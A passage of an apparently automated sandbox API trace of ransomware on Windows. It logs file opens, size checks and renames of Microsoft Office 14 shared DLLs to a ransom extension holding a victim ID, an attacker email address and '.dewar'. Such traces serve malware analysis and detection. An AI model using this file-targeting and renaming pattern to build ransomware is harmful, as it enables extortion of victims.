Shared\\OFFICE14\\1033\\xlsrvintl.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0229.959] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3213192) returned 1 [0229.960] CloseHandle (hObject=0x1d0) returned 1 [0229.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0x20 [0229.960] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0229.961] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0 [0229.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0229.962] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=744888) returned 1 [0229.962] CloseHandle (hObject=0x1d0) returned 1 [0229.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 0x20 [0229.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 0x20 [0229.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0229.968] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=43408) returned 1 [0229.968] CloseHandle (hObject=0x1c8) returned 1 [0229.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 0x20 [0229.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll")) returned 0x20 [0229.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEERR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceerr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0229.972] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1012648) returned 1 [0229.972] CloseHandle (hObject=0x1c8) returned 1 [0229.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 0x20 [0229.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll")) returned 0x20 [0229.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0229.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acees.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0230.414] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=442272) returned 1 [0230.414] CloseHandle (hObject=0x1c8) returned 1 [0230.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 0x20 [0230.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 0x20 [0230.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0230.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0230.418] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=899992) returned 1 [0230.418] CloseHandle (hObject=0x1c8) returned 1 [0230.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 0x20 [0230.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 0x20 [0230.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0231.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0232.412] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=15800) returned 1 [0232.412] CloseHandle (hObject=0x1ec) returned 1 [0232.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 0x20 [0232.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 0x20 [0232.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0232.635] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=385368) returned 1 [0232.635] CloseHandle (hObject=0x1c8) returned 1 [0232.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 0x20 [0232.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll")) returned 0x20 [0232.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0232.639] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=5072816) returned 1 [0232.639] CloseHandle (hObject=0x1c8) returned 1 [0232.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll")) returned 0x20 [0232.640] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0232.640] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll")) returned 0 [0232.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0232.644] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1784192) returned 1 [0232.644] CloseHandle (hObject=0x1c8) returned 1 [0232.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll")) returned 0x20 [0232.645] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0232.645] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll")) returned 0 [0232.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0232.646] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=4297568) returned 1 [0232.646] CloseHandle (hObject=0x1c8) returned 1 [0232.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 0x20 [0232.647] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0232.647] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf")) returned 0 [0232.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0232.649] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=518984) returned 1 [0232.649] CloseHandle (hObject=0x1c8) returned 1 [0232.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll")) returned 0x20 [0232.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll")) returned 0x20 [0232.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0232.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\expsrv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0233.173] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=138616) returned 1 [0233.173] CloseHandle (hObject=0x1d0) returned 1 [0233.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll")) returned 0x20 [0233.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll")) returned 0x20 [0233.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0233.176] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.177] SetEvent (hEvent=0x118) returned 1 [0233.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0233.918] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=30056) returned 1 [0233.918] CloseHandle (hObject=0x1b0) returned 1 [0233.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll")) returned 0x20 [0233.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll")) returned 0x20 [0233.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0233.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0233.920] SetEvent (hEvent=0x118) returned 1 [0233.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0234.598] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1349) returned 1 [0234.598] CloseHandle (hObject=0x1c0) returned 1 [0234.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20 [0234.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20 [0234.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0235.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.413] SetEvent (hEvent=0x118) returned 1 [0235.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0235.430] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1565) returned 1 [0235.430] CloseHandle (hObject=0x1f0) returned 1 [0235.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 